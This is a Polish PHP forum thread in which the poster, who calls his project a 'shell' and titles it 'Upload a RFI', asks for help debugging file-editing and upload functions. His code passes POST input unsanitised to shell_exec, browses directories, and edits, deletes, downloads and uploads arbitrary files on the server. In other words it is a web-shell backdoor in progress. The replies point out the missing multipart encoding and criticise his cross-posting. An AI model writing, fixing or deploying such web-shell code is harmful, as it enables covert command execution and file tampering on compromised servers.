[PHP]Upload a RFI

0

Witam pisze sobie shell'a w php ale mam 2 problemy nie edytuje mi pliku tzn otwiera sie on jest w textarea lecz nie zapisuje sie co jest zle:

function pokaz_pliki() {

global $katalog;

$katalog = $_POST['katalog'];
$cmd = @shell_exec("ls -lia " .$katalog);
echo('<form method="post" action="'.$_SERVER['PHP_SELF'].'">
<table align="center" width="75%" style="border: 1px dotted white;">
<tr><td><center>Katalog: '.$katalog.'</center></td></tr>
<tr><td align="center">
<textarea rows="10" cols="85" style="background-color:#000000; color:#CCCCCC";>'.$cmd.'</textarea></td></tr>
<tr><td align="center">Idz do katalogu: <input type="text" name="katalog" size="30" value="'.$katalog.'" style="background-color:#000000; color:#CCCCCC;"> <input type="submit" value="Idz" style="font-style:italic; background-color:#000000; color:#00A54E;"></td></tr>
');

if(!empty($_POST['katalog'])) {

$kat = @opendir($_POST['katalog']);

while($plik = @readdir($kat)) { 
$plik = basename($katalog.$plik);
}
global $file;
echo('<tr><td align="center">
Plik: <input type="text" name="file" value="'.$katalog.'" size="23" style="background-color:#000000; color:#CCCCCC;">
<input type="submit" name="edytuj" value="edytuj" style="font-style:italic; background-color:#000000; color:#00A54E;">
<input type="submit" name="usun" value="usun" style="font-style:italic; background-color:#000000; color:#00A54E;">
<input type="submit" name="pobierz" value="pobierz" style="font-style:italic; background-color:#000000; color:#00A54E;">
</td></tr>
</table></form>');
}

if(!empty($_POST['file']) && isset($_POST['edytuj'])) {


if(is_readable($_POST['file'])) {
 $zawartosc = fread(fopen($_POST['file'], 'r'), filesize($_POST['file']));
                    
echo('
<form method="post" action="'.$_SERVER['PHP_SELF'].'">
<table align="center" width="75%" style="border: 1px dotted white;">
<tr><td align="center">Plik: '.$_POST['file'].'</td></tr>
<tr><td align="center">
<textarea name="msg" rows="15" cols="70" style="background-color:#000000; color:#CCCCCC;">'
.strtr($zawartosc, array('</textarea>' => '<CLOSE_TA>')).'</textarea></td></tr>
<input type="hidden" name="file" value="'.$_POST['file'].'"> 
<tr>
<td align="center"><input type="submit" name="akt" value="Aktualizuj" style="font-style:italic; background-color:#000000; color:#00A54E;"/></td></tr>
</table></form>');
  }

if(!empty($_POST['msg']) && isset($_POST['akt'])) {
 if(is_writable($_POST['file'])) {
  $fp = fopen($_POST['file'], 'w');
   $data = strtr($_POST['msg'], array('<CLOSE_TA>' => '</textarea>')); 
    fwrite($fp, $data);
     fclose($_POST['file']);
      echo('<script>alert("Dodano");</script>'); 
    }
  }

if(!is_writable($_POST['file']))
echo('<center><b style="color:#f00">Plik '.$_POST['file'].' nie ma praw zapisu</b></center><br>');
  }
}

Potem mam jeszcze problem z uploadem taki troche dziwny pobieram katalog za pomoca getcwd() jest to /var/www/ na katalog dalem chmod 777 lecz plik sie nie dodaje mam taki kod:

function upload() {

echo('<form method="post" action="'.$_SERVER['PHP_SELF'].'">
<table align="center" width="75%" style="border: 1px dotted white;">
<tr><td align="center"><b>Upload</b></td></tr>
<tr><td align="center">
<input type="hidden" name="MAX_FILE_SIZE" value="999999999">
Dodaj plik: <input type="file" name="up_file" style="font-style:italic; background-color:#000000; color:#00A54E;"> <input type="submit" name="dodaj" value="Dodaj" style="font-style:italic; background-color:#000000; color:#00A54E;">
</td></tr>
');

if(isset($_POST['dodaj'])) {

$uploaded_file = $_FILES['up_file']['tmp_name'];
$dir_r = getcwd();

if(substr($dir_r, -1, 1) != '/') $dir_r .= '/';
$dir = $dir_r.$_FILES['up_file']['name'];


if(is_writable($dir)) { 

 if(is_uploaded_file($uploaded_file)) {
 
  if(move_uploaded_file($uploaded_file, $dir))

   echo('<tr><td align="center"><b style="color:#f00">Uploadowano '.$_FILES['up_file']['name'].' do katalogu '.$dir_r.'</b></td><tr></table></form><br>');
   }

else echo('<tr><td align="center"><b style="color:#f00">Blad podczas upload\'u</b></td></tr></table></form><br>');
     
   }

else echo('<tr><td align="center"><b style="color:#f00">Katalog '.$dir.' nie ma uprawnien</b></td></tr></table></form><br>');
 
   }
}

Nie wiem co jest zle blad wyskakuje przy is_uploaded_file bo sprawdzalem nawet za pomoca is_writable czy w katalogu mozna zapisywac i mozna lecz jest blad "BLAD PODCZAS UPLOAD'U" jest dobry ale dlaczego??

0
oskarr napisał(a)

echo('<form method="post" action="'.$_SERVER['PHP_SELF'].'">

musisz wysłać formularz jako "multipart-cośtam"

0

Dalej ten sam blad i plik sie nie dodaje :)

0

Ileż to różnych forów zwiedzasz wstawiając ten sam kod?

0

@Ktos wiem ze jestem upierdliwy ale niestety nigdzie nie otrzymalem odpowiedzi :(

Ogolnie chodzi o ten upload

1 użytkowników online, w tym zalogowanych: 0, gości: 1